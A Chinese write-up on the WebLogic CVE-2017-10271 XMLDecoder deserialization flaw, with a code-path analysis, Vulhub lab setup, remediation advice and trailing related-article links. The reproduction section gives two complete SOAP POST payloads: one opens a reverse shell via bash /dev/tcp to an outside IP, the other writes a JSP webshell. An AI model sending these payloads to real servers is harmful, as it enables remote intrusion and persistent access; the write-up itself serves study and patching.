目录

1.漏洞背景

2.漏洞原理分析

3.漏洞测试

环境搭建

漏洞复现

4.修复建议


1.漏洞背景

Weblogic是oracle推出的application server,由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性,备受广大系统管理员的青睐。根据不完全统计weblogic约占全球市场份额1/3,正因为这么高的占有率,也造成每次weblogic有新的漏洞,都会在业内引起轩然大波。在2017年接近尾声时,weblogic又再次给大家带来了巨大惊喜,CVE-2017-10271漏洞又一次席卷了政府、银行等各大行业。

其实在很早的时候,oracle官方就发布了有关CVE-2017-3506的补丁,由于是采用了黑名单的修复方式,没有彻底将该漏洞进行修复,具体修复代码如下:

由于当时并没有出现大量利用exp,所以此漏洞并没有被大规模利用,早期的补丁由于没有彻底修复,可通过构造相关http请求,依然可以进行远程命令执行。Oracle在后续又再次发布了CVE-2017-10271的补丁,具体补丁信息如下:

推文上的一篇关于weblogic 0day,可以利用该漏洞进行远程植入挖矿木马的文章引发了大家的注意,随之10271上了各大安全论坛、安全厂商的头条,也正式开启了安全服务商的应急服务。

2.漏洞原理分析

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType  post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

测试xml代码如下:

Java读取xml文件文件进行反序列化命令执行如下,执行相关java代码即可执行calc,打开计算器

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法如下:

将localheader1带入readHeaderOld,对localHeader1具体定义如下:

localHeader1=localHeaderList.get(WorkAreaConstants.WORK_AREA_HEADER,true);

readHeaderOld函数具体如下,创建WorkContextXmlInputAdapter(weblogic/wsee/jaxws/workcontext)

WorkContextXmlInputAdapter类具体如下,此处通过XMLDecoder实现实体和xml内容的转换,随即出现了XMLDecoder反序列化,使得java在调用xml时实现了内容可控。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld

weblogic.wsee.workarea.WorkContextXmlInputAdapter

3.漏洞测试

环境搭建

Vulhub 启动测试环境:

docker-compose up -d

等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。

漏洞复现

发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell:

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[
<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

4.修复建议

该漏洞还是给很多行业带来了巨大冲击,就针对山东省而言,多家政府、事业单位也纷纷被攻击者利用该漏洞植入恶意程序,提出以下加固意见:

Ø  Oracle下载相关10271补丁,下载地址如下http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;

Ø  根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat/ 提示404错误;

针对该漏洞被恶意利用的单位可查看如下如下路径进行日志查看,具体的路径根据实际安装情况进行查看:

xx:\xx\Middleware\user_projects\domains\base_domain\servers\AdminServer\logs

具体日志内容如下:

参考资料:

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

http://pirogue.org/2017/12/29/weblogic-XMLDecoder/

http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html

https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271

http://www.cnblogs.com/backlion/p/8194324.htm

cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析相关推荐

  1. JAVA反序列化漏洞原理分析

    反序列化漏洞原理分析 从序列化和反序列化说起 什么是序列化和反序列化? 简单来讲,序列化就是把对象转换为字节序列(即可以存储或传输的形式)的过程,而反序列化则是他的逆操作,即把一个字节序列还原为对象的 ...

  2. 蓝牙App系列漏洞原理分析与漏洞利用

    蓝牙App系列漏洞原理分析与漏洞利用 作者: heeeeen 本文系转载,目的是学习,如有侵权,请联系删除 转载出处:http://www.ms509.com/ 蓝牙App漏洞系列分析之一CVE-20 ...

  3. log4j漏洞原理分析复现检测复盘

    凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...

  4. linux shellshock漏洞,shellshock漏洞原理分析(cve-2014-6271 bash漏洞)

    shellshock漏洞原理分析(cve-2014-6271 bash漏洞) 2014-09-26 10:04:16 阅读:0次 概述: 低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造 ...

  5. shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    漏洞原理 本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后. 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证.授权.密码和会话管理. ...

  6. CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞

    漏洞产生原因: CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据 ...

  7. 00005在java结果输出_浅谈Java反序列化漏洞原理(案例未完善后续补充)

    摘要: 0005,这个16进制流基本上也意味者java反序列化的开始:(2)HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果:以上意味着存在Java反序列化,可尝试构造pa ...

  8. 打印机PCL漏洞原理分析

    0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...

  9. 常见WEB漏洞原理分析

    一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了对输入字符串中夹带的 ...

最新文章

  1. 【Visual C++】一些开发心得与调试技巧
  2. Python语法基础(长期)
  3. 专升本c语言网课听谁的好_都说塑钢泥比玻璃胶好,填缝永不变黑,师傅却说不好用,听谁的?...
  4. saltstack-部署
  5. maven添加子工程_Maven建立父子项目和跨项目调用内容的步骤—佳佳小白
  6. P11:经典卷积神经网络结构案例分析
  7. 安卓电视硬件测试软件,据说这是2017 最好用的智能电视软件!
  8. Asia Hong Kong Regional Contest 2016
  9. iOS 之归档解档(nskeyarchieve)
  10. 【网络与系统安全实验】网络扫描与防御技术
  11. Func:统一网络控制器
  12. Ubuntu 磁盘管理  命令行工具
  13. 红米Note 4X详细刷成开发版开启ROOT超级权限的教程
  14. 《Android Studio 开发实战从零基础到App上线》笔记1
  15. Microsoft Visual Studio 各版本对应关系
  16. 基于Keil的nRF52840新建工程
  17. 话说天下大势 分久必合 合久必分
  18. tp无线监控显示服务器内部错误,无线监控摄像头连接Wi-Fi成功,但绑定TP-LINK ID失败?...
  19. 北京建筑大学计算机科学,北京这三所理工类高校虽不是211,但实力也很强劲,可惜不够出名...
  20. Qt界面美化-飞扬青云自绘控件插件的使用-避免采坑

热门文章

  1. 事务管理最佳实践全面解析
  2. 5G NR — 国内运营商的频段和带宽划分
  3. C 语言编程 — 高级数据类型 — 枚举
  4. VMware 虚拟化编程(2) — 虚拟磁盘文件类型详解
  5. Python OOP知识积累
  6. Python_List对象内置方法详解
  7. Python基本语法_运算符详解
  8. django模板过滤器
  9. 【对讲机的那点事】车载台天线系统故障的检测、排除方法(上)
  10. php Reportico 开源报表